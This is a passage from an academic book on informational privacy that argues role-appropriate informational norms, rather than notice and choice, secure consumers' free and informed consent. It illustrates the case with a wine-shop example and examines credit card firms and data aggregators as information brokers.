researchers have access to anonymized versions of your search logs?” It is
particularly likely that those searching for information about their dis­
eases would have answered negatively out of fear that the information, 
even though anonymized, could be used to deny them insurance, employ­
ment, or other opportunities. Enough “no” answers would have concealed 
the side effect. 
Both examples are double edged. Consumer credit rating agencies most
certainly have their critics, and we might well worry that people with a 
history of any disease may face discrimination from insurance companies 
and employers. These criticisms do not undercut our point: If we want the
benefits, we are unlikely to get them if we permit consumer consent. 
If notice and choice does not work, what does? Our suggestion is that
informational norms are key to seeing how to ensure free and informed 
consent. 
INFORMATIONAL NORMS 
Informational norms are social norms that constrain the collection, use,
and distribution of personal information. Informational norms explain
why, for example, you expect your pharmacist to inquire about the drugs 
you are taking, but not about whether you are happy in your marriage. We
describe our intimate and romantic relationships to friends, reveal finan­
cial information to banks and creditors, discuss grades with professors,
and discuss work-related issues with co-workers, but we do not typically 
cross these boundaries and, for example, discuss our romantic relation­
ships with our creditors.* 
* This paragraph draws on Helen Nissenbaum’s work on privacy and norms. 

















Informational Privacy: The General Theory  ◾ 83
Our concern is with the norms that govern the collection of informa­
tion by private businesses in their dealings with consumers. These norms
fit the following pattern: Buyers demand that businesses process—collect,
use, and distribute—information only in role-appropriate ways. A busi­
ness’s information processing is role appropriate when (and only when) 
it conforms to the permissions and prohibitions associated with that
business’s role. Our conceptions of role appropriateness evolve over time
through complex patterns of social and commercial interaction. What is 
appropriate for a wine retailer is not appropriate for a doctor or an auto
mechanic: It is appropriate for the wine retailer, but not the doctor or the 
mechanic, to inquire about your wine preferences; for the doctor, but not
the wine retailer or the mechanic, to obtain information about your liver 
function; and for the mechanic, but not the doctor or the wine retailer, to
inquire about whether you drive off-road. 
In all cases, role-appropriate informational norms implement a trade-
off between privacy and competing concerns. They permit some infor­
mation processing and thus secure some of its benefits, but they protect 
privacy by allowing only role-appropriate processing. Will role-appro­
priate informational norms evolved through years of commercial inter­
action always be value optimal? Not always. A key part of our critique 
of current business information processing is that, as a consequence of
increased effectiveness in processing information, many norms permit­
ting role-appropriate information processing are no longer value optimal.
In this chapter, however, we focus exclusively on value optimal norms.
This provides the pattern against which to assess the suboptimal norms 
we consider in the next chapter. 
To illustrate the pattern, imagine visiting a retail wine store. You make 
certain assumptions about the limits on how the store collects, uses, and 
distributes information: 
Collection: You assume that the store will not request information
about your liver function, record the kind of clothes you are wear­
ing, or record whether you are in the store with your spouse or
another companion. 
Use: You assume that the store will not analyze your buying patterns to
predict your sexual orientation—even if direct marketing research­
ers have established correlations between patterns of wine selection
and sexual orientation. 
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Distribution: When you consult the store about a party you are plan­
ning, you assume that the store will not publish the party details on
its website. 
Why do you assume all this? Because you assume that the store will
process information only in role-appropriate ways and, more broadly, that
the following norm governs your dealings with the store: Buyers demand
that a wine retailer process information only in ways appropriate to its role
as a wine retailer. 
Our use of “demand” in formulating the norm requires explanation. 
We are using “demand” as economists do when they talk about consumer
demand. They mean consumers’ willingness and ability to purchase this
or that type of product or service. This is, of course, not using “demand”
in the common English sense of, “Outraged fans demand that the team’s
owner fire the losing coach.” Consumers demand role-appropriate infor­
mation processing in the “willing to buy” sense; they are willing to do
business only with role-appropriate information processors. 
Consider a shopper named Vicky visiting this wine shop. Vicky wants 
the store to collect some personal information because she benefits from
better customer service and increased efficiency. She is perfectly willing 
to give the store her ZIP code and her e-mail address and to permit the 
store to track her purchases. Vicky benefits directly by getting ads about 
sales and an occasional coupon e-mailed to her. The store is able to use the 
information it collects to better model its customer base, which allows the
store to stock those wines of greatest interest to its customers. That effi­
ciency, in turn, allows the store to charge slightly lower prices. 
There is, however, a limit on the information Vicky is willing to divulge. 
She may balk at giving the store her precise address or her phone number, 
and she would certainly balk, and perhaps start shopping elsewhere, if
asked for the name of either her employer or her children, or, for that mat­
ter, her hairdresser. In general, she is not willing to buy from wine retail­
ers that process information inappropriately. And, in fact, Vicky’s wine
shop will not ask her for her employer’s or her children’s names. Next we
explain why that is the case. 
Role-Appropriate Informational Norms as Coordination Norms 
Business information processing always involves a trade-off between pro­
tecting privacy and reaping the advantages that come from collecting 
and using personal information. In mass markets, the more that buyers’ 
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demands are fragmented and diverse, the less likely it is that sellers will
limit their information processing in accord with those demands. They 
will not, and probably could not, accommodate thousands of diverse 
desires about privacy. It is likely that businesses’ decisions about how to
process information will yield a one-sided trade-off that favors the busi­
nesses instead of one that strikes a value optimal balance between privacy 
and the advantages of processing information. 
We argued in Chapter 3 that value optimal coordination norms can 
unify buyers’ demands in ways that accord with their shared values.
Role-appropriate informational norms are an important example of such 
demand-unifying coordination norms. We illustrate the point here by
returning to Vicky and the wine shop. 
It is not only Vicky who has limits on what information collection she 
will tolerate. Other customers of that wine shop have essentially the same
attitude as Vicky. They too are willing to share some information that they
will allow the wine shop to use only for certain purposes, and in return
they expect to receive some benefits from the use of their information. 
However, almost every customer has a distinct view about what the pre­
cise trade-offs should be. This variation is a problem for all the store’s cus­
tomers, including Vicky, because the wine shop is certainly not going to
provide a distinct information processing policy for each customer. 
However, if all the customers demand the same information process­
ing policy and we have a rough approximation to the condition of perfect 
competition we discussed in the previous chapter, then the wine shop will
meet that demand. The most plausible unified demand today is for cus­
tomers to demand that wine shops process information only in ways that
are role appropriate for wine retailers. This would mean, for example, that
wine shops would not request information about liver function, publish 
details about customer parties on the store website, or analyze buying pat­
terns to determine sexual orientation, whereas wine shops might analyze 
buying patterns to determine demand for Côtes du Rhône or customers’
willingness to buy $20 bottles of wine. 
Such a norm among wine shop customers meets the definition of a
coordination norm. There is a behavioral regularity: Buyers demand
role-appropriate information processing. We also need to show that 
buyers conform to the regularity because they think they ought con­
ditionally to conform—that is, to do so as long as everyone else does.  
(Wine shops will then conform because of the pressures of the competi­
tive marketplace.) 
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Why does Vicky conditionally conform? Vicky, like all the other 
patrons, would like best to get whatever she considers to be the value opti­
mal information processing trade-off, but the wine shop will not respond 
to her individual demand. However, if Vicky unifies her demand with
all the other patrons of the wine shop, by conditionally demanding role-
appropriate information processing, the wine shop will meet that demand.
Role-appropriate information processing may well be reasonably close to
Vicky’s notion of value optimal information processing. There is another
option, of course—not to buy wine at all—but Vicky enjoys wine and does
not find the norm-created trade-off so objectionable that she would do
without wine to avoid the trade-off. Thus, as long as everyone else con­
forms, Vicky thinks she ought to as well. 
Incidentally, the example of wine shops as information processors is far 
from fanciful. For the past decade or so, direct marketers have been try­
ing to appeal to wine retailers to use more direct marketing techniques, as
various websites such as “Wine Direct Solutions” (http://winedirectsolu­
tions.com/blog/category/direct-marketing/) illustrate. 
Now, how do role-appropriate informational norms guarantee free and 
informed consent, at least when those norms are value optimal? 
ENSURING FREE AND INFORMED CONSENT 
Suppose that Vicky has a discount card from the wine store, which uses
the card to collect information about Vicky’s purchases. Grant, for the 
sake of argument, that the store’s use of the discount card is consistent
with the wine store norm. Assume also that the norm is value optimal.
How does the existence of the norm ensure that Vicky gives free and 
informed consent to the information processing associated with the use 
of the discount card? 
Informed Consent 
Vicky’s consent is informed if she knows that uses of her information—now 
and in the unpredictable future—will implement value optimal trade-offs
between privacy and competing goals. By our definition of value optimal, 
that would mean that whatever use is made of Vicky’s data, that use will
be best justified in light of her values. Thus, all that Vicky needs to know
is that her use of the discount card is consistent with the wine store norm. 
In general, we don’t need to read complicated privacy policies for our 
consent to be informed. We don’t need to accomplish the impossible and 
know unpredictable future uses of our information. A sufficient condition

















Informational Privacy: The General Theory  ◾ 87
for informed consent to information processing as part of a transaction 
is for that transaction to be governed by a relevant value optimal, role-
appropriate informational norm. 
Free Consent 
It is more problematic to see how consent can be free. The wine shop
example illustrates the problem. The difficulty is that, as a practical mat­
ter, Vicky has no choice but to consent to the norm-imposed trade-off. 
She can, of course, prevent wine shops from processing information about 
her by simply not doing business with wine shops that collect and process
personal information. However, given that she does wish to buy wine, it is, 
as a practical matter, somewhat difficult to avoid doing so. Always paying
cash would be inconvenient and would mean the loss of store discounts 
and other advantages that require identifying herself, and Vicky is, in any 
case, not interested in inconvenient, time-consuming searches and strata­
gems. She is already committed to a variety of goals—raising her children, 
pursuing her career, enjoying her friends, and so on—and the time she 
is willing to allot to buying wine is relatively small. So how can Vicky’s 
consent be free? 
The Argument That Consent Is Not Free 
Constrained choices would appear to be classic examples of “unfree”
choices. Indeed, it may seem tautological that constrained choices are 
unfree. We will argue shortly that this appearance is just that—appear­
ance only. The reality is that constrained choices can still be free. Some
constrained choices certainly are unfree. When a thief with a gun to
your head demands, “Your money or your life!” the thief violates your
freedom by compelling your choice. Handing over the money is the only
meaningful option. The problem is that transactions governed by infor­
mational norms look similarly constrained. There is no gun to your head,
but, as a practical matter, you often have only one option. Law Professor
Margaret Radin has elaborated this point by arguing that free consent
requires “a knowing understanding of what one is doing in a context in
which it is actually possible for one to do otherwise [emphasis added],
and an affirmative action in doing something, rather than a merely pas­
sive acquiescence in accepting something.”11 Radin argues that if it is  
not “actually possible for one to do otherwise,” it follows that compli­
ance is “merely passive acquiescence in accepting something” and not 
“an affirmative action in doing something.” You appear to fall short of
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Radin’s requirements when your only practical option is to comply with
an informational norm. 
We contend that your consent can nonetheless be free. The essential
point is that a constrained choice can still be a free choice. To see how,
imagine you long to vacation in the Cayman Islands, but you are con­
vinced that you cannot afford to do so. You then discover an “all inclu­
sive” vacation package that offers airfare, hotel, and food for a single low 
price. You opt for the package. When you eat the package-included food 
at the hotel, you have no practical option to do otherwise. You cannot
afford to eat any other way. Your choice is constrained. But it was a con­
straint that you voluntarily imposed in order freely to realize your vacation
goal. The choice was one you regarded as better justified than any alterna­
tive. Contrast the thief example. You did not freely choose a scenario that
included being robbed by the thief. 
Vicky’s wine shop transaction is like the Cayman Islands vacation. 
She allots only a relatively small amount of time to purchasing wine. She 
wants to purchase suitable wine within that time and return to pursuing
her other goals. She knows the store will process some range of personal
information, and she wants an acceptable trade-off between her informa­
tional privacy and the various interests served by processing the informa­
tion. The wine shop norm—process personal information only in ways
appropriately related to the store’s role as a seller of wine—offers her a 
ready-made trade-off. As long as that norm is value optimal, it is accept­
able because the ready-made trade-off is the best justified option in light 
of her values. Conformity to value optimal norms is the optimal strategy
for Vicky to realize her goal of buying suitable wine within the allotted 
amount of time. 
Radin’s Requirements Almost Fulfilled 
Vicky meets two of Radin’s requirements. Radin insists that free consent 
“requires a knowing understanding of what one is doing in a context in
which it is actually possible for one to do otherwise, and an affirmative 
action in doing something, rather than a merely passive acquiescence in
accepting something.” Vicky has “a knowing understanding of what [she] 
is doing.” She knows that she is divulging information in ways that are 
governed by the value optimal wine store norm. Further, her consent is
not “passive acquiescence”; rather, as part of an overall plan she is freely
pursuing it as an “affirmative action” in the pursuit of that plan. The only 
requirement Vicky fails to meet is that it should be “actually possible for 
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one to do otherwise.” It is not possible for Vicky to do otherwise—in the 
sense that she is committed to purchasing wine and any transaction in
which she does so will be governed by the relevant norm. But that norm
is precisely the prepackaged trade-off Vicky wants; it is a convenient, cost-
effective way to pursue ends that are important to her. Not being able to do
otherwise is not the loss of freedom but the realization of it. 
But What about Contracts? 
In many cases, our transactions, such as almost all our uses of websites, 
are associated with documents that the businesses—and the courts— 
regard as legally binding contractual agreements defining the rights and 
obligations relevant to the transaction. The notice and choice paradigm
sees those documents as the medium through which we give free and 
informed consent. We have rejected notice and choice, but this does not
make the documents go away. What is the status of those documents on
our norm-based approach to consent? What do they do? And, how does
our norm-based approach square with the fact that courts treat the docu­
ments as binding contracts? We defer these questions to Chapter 11, after 
we have discussed software and malware. Similar questions about con­
tracts arise in those cases as well, and it is advantageous to consider all the 
questions together. 
We conclude this chapter with a question we have so far kept in the  
background. Do we have enough norms? 
THE IDEAL OF NORM COMPLETENESS 
Ideally, there is no significant trade-off between privacy and competing 
goals that is not governed by at least one value optimal informational
norm. Why take this as an ideal? Because, when it is true, every significant
trade-off is an acceptable one to which buyers give informed consent, and 
that means that buyers have adequate informational privacy. We will call
this ideal norm completeness. 
For the most part, practice more or less approximates norm complete­
ness. Sellers and buyers have exchanged products for centuries, and it
would be quite unreasonable to suppose that, over the years, relevant
value optimal norms have failed to evolve. However, as we argue in the 
next chapter, current business information processing falls far short of the 
ideal—so far short that we are deprived of adequate informational pri­
vacy. We have informational privacy only to the extent that we can give
free and informed consent to how others collect, use, and distribute our 
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information. Across a wide range of important cases, our consent is free 
and informed only if relevant value optimal, role-appropriate informa­
tional norms exist. Without them, we are thrown back on hopeless reli­
ance on notice and choice. The critical question then is whether we have
enough norms. Unfortunately, we do not. We fall short of norm complete­
ness in two ways. 
Two Ways to Fall Short 
First, we lack relevant norms altogether. Technological advances have
enabled novel transactions where norms have not yet emerged. Second, 
advances have changed existing norms that once were value optimal into
norms that are not.* In the next chapter, we consider our lack of value opti­
mal norms in detail. We first examine the cases in which we are trapped 
in norms that are no longer value optimal and then turn to the cases in
which there are simply no relevant norms at all. 
We conclude this chapter with an analogy that is helpful in seeing how 
norms can lose value optimality. 
How Norms Can Cease to Be Value Optimal 
Imagine that two elementary school friends adhere to the norm, “Throw 
as hard as you can,” when they play catch. One of them moves away and 
returns later as a teenager. When the reunited friends again play catch, 
one of them injures the other by throwing the ball with great force. When
the injured friend complains, the thrower says that she was simply acting 
as they always had as children and throwing as hard as possible. Under 
that norm, it is role appropriate to throw as hard as one can when playing 
* 	 Problems with norms not existing and with optimal norms becoming less than optimal as the 
world changes occur in many settings, some very far from the areas of privacy and security with
which this book is chiefly concerned. For example, consider the recent US Great Recession. It was 
caused, at least in part, by massive problems in the mortgage market. One possible explanation 
of the mortgage market’s problems could be that the norms for assessing who should be given a 
mortgage broke down. Old norms worked well enough for the straightforward mortgages of the 
1970s, and they evolved well to handle the relatively slow change to a world of a few different kinds 
of mortgages in the 1980s and early 1990s. However, they utterly failed to evolve to keep pace 
with the wide variety of exotic mortgages that appeared in the 2000s. Alternatively, perhaps the 
problem was that mortgage-backed securities were completely new technology, and there simply
were no norms for evaluating mortgage-backed securities. (We claim only that these are possible 
explanations for the recent financial crisis, not that they are the only or correct explanations.) 
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catch.* Both agree that, in light of their current physical abilities and val­
ues, the norm is no longer value optimal; they no longer think that “throw
as hard as you can” is at least as well justified as any other alternative (e.g.,
“throw fairly hard but don’t hurt anyone”). 
Technological advances have made businesses able to “throw harder.”
Advances have made information processing far more effective in deter­
mining whether a specific individual meets whatever requirements busi­
nesses wish to impose. Information processing is nonetheless still role
appropriate, at least in a wide range of cases. As we argue in more detail
in the next chapter, businesses are just doing what it has long been role
appropriate for them to do: collect information to maintain and improve
the business. Advances in information processing technology have just
made them able to “throw harder” by expanding the range of information 
available for this purpose. 
For example, it has long been routine for grocers to try to track what
goods sell well with their particular customers. Technology makes it pos­
sible for a grocery to keep a complete list of every item purchased—and 
every item purchased on a customer-by-customer basis—and to detect
trends and patterns, if the customers are happy to use the store’s discount
card. To a considerable extent (not always, but typically), technology sim­
ply makes businesses able to role appropriately “throw harder.” The result
is often that the relevant norms are no longer value optimal, but the norms
may remain in force. Unlike the friends playing catch, consumers may 
not adopt a new norm; rather, like helmetless hockey players, buyers are 
trapped in conformity to norms that are no longer value optimal. 
In the next chapter, we analyze three key examples of norms that are no
longer value optimal and also examine three central examples where there 
are no relevant norms governing novel forms of interaction made possible
by technological innovation. 
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Norms and Value Optimality 
INTRODUCTION
 
We began the last chapter by thinking of a person’s life as a line of dots rep­
resenting events and coloring an event red if a business collected informa­
tion about it. Now picture the collection of all these lines for every person
in the country. Every one of the red dots represents a trade-off between 
protecting informational privacy and gaining the benefits of collecting 
and processing information. Imagine that every trade-off is governed by
at least one value optimal informational norm. Then every trade-off would 
be a best justified one to which people would give free and informed con­
sent. In short, individuals would have adequate informational privacy.
This is the ideal that, in the last chapter, we labeled norm completeness. In
this chapter, we analyze six examples in which norm completeness fails.
It fails in two ways: Norms exist but are not value optimal and relevant
norms do not exist at all. We first present three examples of existing norms
that lack value optimality: direct marketing, information aggregators, and
the health insurance industry. We then present three examples of lack of
norms: cookies, cloud computing, and social networks. 
Before we plunge into our examples concerning direct marketing and 
information aggregators, we should note a special difficulty in creating
value optimal norms that govern their activities. Both aggregate informa­
tion, and the problem is that aggregation can make the whole much greater
than the sum of the parts. That is, if you give a business 17 individual
95 
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pieces of information, each of which, say, releases 1 percent of your pri­
vacy, that business may be able to deduce not 17 percent of your private
information, but 30 or even 95 percent of your private information. Thus,
even if each individual release of information is governed by a value opti­
mal norm, the overall effect may be a suboptimal trade-off. It is good to
keep this point in mind as we consider direct marketing and information
aggregators in this chapter. We return to this point in Chapter 12 when 
we consider creating a value optimal norm for direct marketers and infor­
mation aggregators. Finding a value optimal trade-off means addressing 
concerns about the cumulative, long-term, and often unpredictable effects
of aggregated information. 
DIRECT MARKETING: RETAILERS AS 
INFORMATION BROKERS 
By direct marketing, we mean marketing, especially advertising, that
targets certain consumers based on the collection and analysis of some
data about them. Direct marketers sort buyers into groups according to
their willingness to purchase products and services. This categorization 
facilitates targeted advertising. Direct marketing has evolved over the 
years. We defer consideration of the most recent significant form—online 
behavioral advertising—to Chapters 11 and 12. In this chapter, we focus
on more or less traditional direct marketing. 
Direct marketing was not widely used until the 1970s because prior 
to that time it was too difficult to differentiate among consumers. This 
changed in the 1970s when the government began selling census data on
magnetic tapes. Marketing companies used the information to compile 
databases divided according to “age, income level, race, ethnicity, gender, 
and geographical location.”1 In the 1980s, they supplemented these data
with information about opinions, lifestyles, likes and dislikes, hobbies,
and so on. Today, direct marketing includes both these channels and 
newer advertising channels, such as targeted ads on a web page. 
Advances in information processing technology have made direct mar­
keters very effective at fine-grained categorization. As privacy scholar
James Rule points out, you can purchase lists of “women who are both pub­
lic employees and wear sexy underwear; or business owners who espouse 
far-right political causes; or registered Republicans who are purchasers 
of pornography—or, for that matter, of pornography with S–M themes… 
[and the] guest list information from a hotel frequented by lesbians”2— 
not to mention lists of female purchasers of wigs, romance phone service 
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callers, men who buy fashion underwear, impotent men, gamblers, hair-
removal product purchasers, feminists, antigay activists, and advocates 
of school prayer.3 The profit motive drives this categorization. According
to the Direct Marketing Association’s website, direct marketing returns 
over $10 in sales for every $1 in costs—a ratio double that of other forms 
of advertising.4 Businesses benefit from this increased efficiency, and the
increased efficiency can also be a boon to consumers. In addition to lower 
prices, consumers also gain better access to products and services and 
receive information more tailored to their needs and interests. These ben­
efits, however, come at a price: a decrease in informational privacy. 
As our first example of norms that are no longer value optimal, we con­
sider the collection of information for direct marketing. We will focus on
credit card companies, but most of what we will say holds true for retailers 
in general. After all, credit card companies are retailers selling credit ser­
vices. Current information technology has so greatly increased the ability 
of retailers, in general, and credit card companies, in particular, to pro­
cess information about their customers that retailers can now function as
information brokers feeding information to direct marketers. 
Retailers as Information Brokers 
The primary business of credit card companies is not direct marketing  
or data aggregation. Credit card companies, however, also have a second­
ary business as information brokers in which they transfer their data in
whole or in part to direct marketers. Some, like American Express, cat­
egorize the data into relevant direct marketing categories. The findings of
an appellate court in the Illinois case Dwyer v. American Express provide
an excellent illustration. American Express analyzed the purchases of its 
cardholders to divide them into 
…six tiers based on spending habits and then rent[ed] this infor­
mation to participating merchants as part of a targeted joint-
marketing and sales program. For example, a cardholder may be 
characterized as “Rodeo Drive Chic” or “Value Oriented.” In order 
to characterize its cardholders, [American Express] analyze[s]
where they shop and how much they spend, and also consider[s] 
behavioral characteristics and spending histories…The merchants 
using the defendants’ service can also target shoppers in categories
such as mail-order apparel buyers, home-improvement shoppers, 
electronics shoppers, luxury lodgers, card members with children, 
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skiers, frequent business travelers, resort users, Asian/European
travelers, luxury European car owners, or recent movers.5 
This transformation of retailers into information brokers means that, 
even in your most routine commercial interactions, you may feed the 
power of direct marketers to determine ever more accurately your will­
ingness to purchase. 
Next we discuss two interesting and surprising aspects of this behavior
by retailers: first, that when retailers function as information brokers, they
are conforming to informational norms—specifically demand-unifying 
coordination norms governing the processing of personal information— 
and, second, that these norms are not value optimal. 
Role-Appropriate Information Processing Norms 
The relevant norms are the role-appropriate information processing norms
we introduced in the last chapter. These are norms of the following form: 
Buyers demand that the business process—collect, use, and distribute— 
information only in role-appropriate ways. We claim that it is role appro­
priate for credit card companies to act as information brokers. Your first 
reaction to this claim is likely to be, “That can’t possibly be right! How can 
it possibly be role appropriate for American Express as a credit card com­
pany to categorize its customers as ‘Rodeo Drive Chic,’ ‘Value Oriented,’
and the like, and then sell this information to merchants?” Nevertheless, 
such activities are role appropriate. 
To see why, notice that norms are dynamic; they change and evolve over 
time. Technological change is an important impetus to evolution. Turn for
a moment to an interesting example of the effect of a noncomputing tech­
nological change. Consider the treatment of the hereditary hemoglobin
disorder, β-thalassemia, on the island of Cyprus, where the incidence of the 
disease is particularly high. The treatment consists of monthly blood trans­
fusions and daily supplements of iron. Without treatment, patients rarely 
live into their teens. Beta-thalassemia is a classic recessive-trait genetic dis­
order, meaning that if a man and a woman who are both carriers have a 
child, there is a one in four chance that that child will have β-thalassemia, a 
two in four chance that the child will be a carrier, and a one in four chance
that the child will neither have the disease nor be a carrier. 
On Cyprus, the norm is, and was, to take the morally permissible 
necessary steps to prevent the spread of β-thalassemia. Prior to 1970, 
this was understood to require letting infants with the disease die. The
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understanding changed in the 1970s and 1980s after improvements in
screening technology made it feasible to screen graduating high-school
seniors to determine if they were carriers of β-thalassemia. Carriers of the
gene were then counseled about the risks of their marrying and having 
children, and it became common to treat infants born with β-thalassemia.
Thus, the norm has always been to take the morally permissible necessary 
steps to prevent the spread of the disease; however, technological advances
provided new options and hence changed judgments about what the mor­
ally permissible course of action was. 
A very similar technology-driven change has occurred with respect to
role-appropriate information processing norms. It has always been role
appropriate for a business to process information to maintain and improve
the business; moreover, within broad limits, it has always been unobjec­
tionable for a business to sell a by-product generated in the course of its 
other business activities. This is exactly what American Express does. It
processes information about its customers to maintain and improve its 
business, and, in doing so, it generates a valuable by-product: informa­
tion that is categorizable in ways relevant to direct marketing. American
Express’s activities still fit under the classification “role appropriate.” 
What has changed is the technology, and new technology gives American
Express the ability to process information in ways it could not have done
50 years ago. 
Retailers as Information Brokers Norm 
We claim that the combination of the role-appropriate information pro­
cessing norms and changes over the years in information technology has 
led to a more specific retailers as information brokers norm: Retailers,
including credit card companies, may within broad limits act as infor­
mation brokers. Recall that informational norms of this type apply to
retailers: Buyers demand that retailers process information only in role-
appropriate ways. The wine store norm was an instance of this general
pattern. Our claim now is that acting as an information broker is role
appropriate for a retailer. 
You may still object that our arguments so far are not sufficient to show
that this is a norm. It is not enough that retailers and credit card compa­
nies regularly and role appropriately act as information brokers; it must
also be true that buyers think that they, as buyers, ought to conform to
that regularity—conform conditionally, at least as long as all other buyers
do. Do buyers really think that? They do. 
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Nonconformity by a buyer would mean not interacting with businesses
in ways that involve generating entries in a database of personal informa­
tion. Avoiding such interactions would often mean not interacting with
businesses at all, or doing so on less favorable terms. For example, refusal
to issue a credit card is the sanction for not agreeing to credit card compa­
nies’ information brokerage activities, and forgoing discounts and other 
advantages is the sanction for refusing to use retailers’ discount cards.
We can forgo having this or that particular credit card or using this or  
that discount card, but wholesale avoidance of generating and relying on
databases of personal information would mean a wholesale avoidance of
a wide range of commercial interactions, and, for most people, that sanc­
tion is unacceptable. “We give up data about ourselves because we don’t
have the time, patience, or single-mindedness about privacy that would be 
required to live our daily lives in another way.”6 
We routinely use credit, debit, and bank cards—ever more so in an ever 
more online world that requires electronic payment. Each use involves an
electronic handshake that records information about who is purchasing 
what, when, and where. Consumers might choose to bear the sanctions 
temporarily in a general consumer revolt*; however, unilateral nonconfor­
mance by any one consumer carries sanctions that make nonconformity 
a choice each consumer avoids. Everyone therefore decides that he or she
ought conditionally to conform. Some will certainly object: “I have never 
decided any such thing, and I am not sure what I would decide if I did 
think about it.” We certainly agree that most people have never explicitly
decided, “I ought to conditionally conform to the retailers as information 
brokers norm.” Our claim is that this is what they would decide if they did 
think about it with full information and after adequate reflection. We use 
“decide” here and throughout as short for “would decide with full infor­
mation after adequate reflection.” 
The Norm Is Not Value Optimal 
The retailers as information brokers norm would be value optimal if it
were at least as well justified as any alternative, but consumers do not
think it is. They think there is a better justified alternative that gives them 
more control over their personal information. This is the most plausible 
* 	 Such a general consumer revolt would require solving the problem known in sociology, political 
science, and economics as collective action. Indeed, one way to analyze the whole difficulty of 
changing norms once one is trapped in a coordination norm that is not value optimal is simply to
say that collective action is hard. We discuss collective action problems more fully in Chapter 9. 
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interpretation of over 20 years of studies and surveys about consumer atti­
tudes toward privacy. 
A typical study found that 89 percent of consumers had either a “high 
concern” (53.7 percent) or a “medium concern” (35.5 percent) about “gen­
eral privacy.”7 Of course, finding that consumers are “concerned” does not
mean that they are concerned about loss of control over their information, 
but why else would they be concerned? The worry is surely that others  
will do something unacceptable, so consumers must be concerned about 
some combination of the intertwined issues of trust and control. It would
indeed be strange if this were not true. In general, control and trustwor­
thiness are important considerations in determining whether to enter or
continue a relationship; we may, for example, refuse to work with, go on a 
trip with, or associate with someone because he or she is too controlling 
or too untrustworthy. 
In the case of privacy, a significant degree of trust and control is, as
the privacy advocates remind us, essential to “intimacy, friendship, indi­
viduality, human relationships, autonomy, freedom, self-development, 
creativity, independence, imagination, counterculture, eccentricity,
thought, democracy, reputation, and psychological well-being.”8 Anyone
who values at least some of the items in this list—and that is virtually 
everyone—values informational privacy and is therefore concerned to
retain an appropriate degree of control over personal information. Studies
of consumer attitudes toward direct marketing confirm this conclusion. 
One recent study found that, when consumers are informed about cur­
rent direct marketing information processing practices, between 73 and 
86 percent find such practices objectionable.9 
An Objection 
So can we conclude that the retailers as information brokers norm is not
value optimal? Not yet. While a large number of studies show that con­
sumers are concerned about losing control over personal information, 
“a number of…recent surveys, anecdotic evidence, and experiments… 
have…shown that individuals are actually less concerned about privacy 
than what [sic] they claim to be: Many are willing to provide very personal
information, in exchange for small rewards.”10 The retailers as information
brokers norm would seem to be a case in point. If consumers found the 
loss of control to be highly objectionable, then why would they conform
when the cost of nonconformity is just inconvenience and the loss of some
relatively small advantages such as discounts? 
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Let us step back a moment and ask ourselves a question: Just what
should we expect the attitudes of people to be when they are trapped in
a coordination norm that is not value optimal? We should expect to see
people who are conflicted. On the one hand, they are doing something 
that they think is for the best, given that everybody else is doing it, while,
on the other hand, they know that there is a better justified alternative. 
Psychologists refer to people as having “cognitive dissonance.” The hockey
players’ no-helmet norm that we discussed in Chapter 3 illustrates the 
point. Hockey players did not wear helmets even though their values made 
“all players wear helmets” a far better justified alternative, and they could 
state in an interview that they (a) knew that they should be wearing hel­
mets, and (b) were not going to do so. Why? The sanctions were sufficient
to deter individual players from unilaterally violating the norm of not
wearing a helmet. They thought, given the circumstances, that they ought 
not to wear helmets,* but they also thought that, ideally, circumstances 
ought to be different; that is, they thought that, ideally, everybody ought 
to wear helmets. 
Similarly, consumers conform to the retailers as information brokers 
norm even though their values make “consumers have more control” a  
better justified alternative. The sanctions are sufficient to discourage uni­
lateral nonconformity. Like the hockey players in the time of the no-hel­
met norm, consumers today are trapped in conformity to a norm that is
not value optimal, and, analogously to the hockey players, various surveys
(accurately in our opinion) show both that consumers say that they value 
privacy highly and that they, in fact, give up “very personal information in
exchange for small rewards.” 
A Consequence 
The consequence of the retailers as information brokers norm is that con­
sumers don’t really have a choice: As a practical matter, they must agree 
to let retailers and credit card companies sell information about them. Of
course, it was also the case that Vicky, in the wine shop example in the 
previous chapter, had only one realistic choice. But here, consumers, like 
the hockey players and unlike Vicky, clearly think there is another pos­
sible norm that would be better justified and to which everybody would 
consent. So consumers’ consent to the current retailers as information 
* 	 Strictly speaking, they thought they ought conditionally to conform. Where the context makes 
what we mean clear, we will, for convenience, drop the “conditionally.” 
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brokers norm is not free and informed. This lack of free and informed 
consent entails a lack of informational privacy. 
We reach the same conclusion by essentially the same route for our next
example—information aggregators. 
INFORMATION AGGREGATORS 
Information aggregators collect and resell information. These companies
aggregate information for any (legal) purpose for which people will buy it. 
Direct marketers use the aggregated data, but so do governments, employ­
ers, and so on. Unlike direct marketing, information aggregators collect,
aggregate, and analyze information for a wide variety of purposes, not just 
advertising. Furthermore, the practices of information aggregators ensure
that information collected on one occasion for one purpose is retained, 
analyzed, and distributed for a variety of purposes to anyone who may 
lawfully obtain the information. 
Acxiom, LexisNexis, and ChoicePoint are three important examples of
information aggregators. Acxiom, “one of the biggest companies you’ve
never heard of,”11 is the largest processor of consumer data. If you ever 
have heard of Acxiom, it was probably when the company was in the news 
for a massive security breach of consumer data. Come to think of it, if you 
ever have heard of ChoicePoint, it was most likely when it was in the news 
for a massive security breach of consumer data. 
In any event, Acxiom’s factsheet on its website says that it 
…offers an abundance of data sources that are cross referenced 
whenever possible with over 7 billion records from more than 100 
data sources…which produces some of the best hit and contact 
rates in the industry. Our batch offerings provide rich and deep 
data results returned in an easy to use format. 
Although Acxiom may be the largest processor of consumer informa­
tion, LexisNexis Risk Solutions claims to be the largest aggregator in gen­
eral, with, according to its website, “approximately 20 percent more data
than other providers, with coverage on more than 400 million individuals
and 150 million businesses.” Its clients include government agencies, insur­
ance companies, employers, direct marketers, and anyone with an inter­
est in obtaining information about others. LexisNexis greatly increased its 
size in 2008 when its parent company, Reed Elsevier, acquired ChoicePoint
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(in a cash deal for $3.6 billion). At the time of the acquisition, ChoicePoint
maintained more than 17 billion records on individuals and businesses. 
One critical concern is that bits and pieces of personal information, 
innocuous when taken separately, can be aggregated into a permanently 
available, highly revealing profile. Privacy advocates paint disturbing
pictures of the possible consequences. They imagine each of us perma­
nently associated with a detailed record of our life from childhood on,
a record readily accessible online by anyone who wishes to look. The 
record may contain humiliating and discrediting information (with
falsehoods accidentally or deliberately introduced), and others may
draw inferences, warranted or unwarranted, that affect our ability to get
a job, hold public office, obtain credit, buy insurance, join a golf club, or
simply associate with people of our choice. Fear of consequences may
severely limit self-exploration, self-expression, and the definition of a
unique identity. 
The privacy advocates’ picture of terrible possibilities is, so far, just 
that—a picture of possibilities. But the possibilities highlight a current 
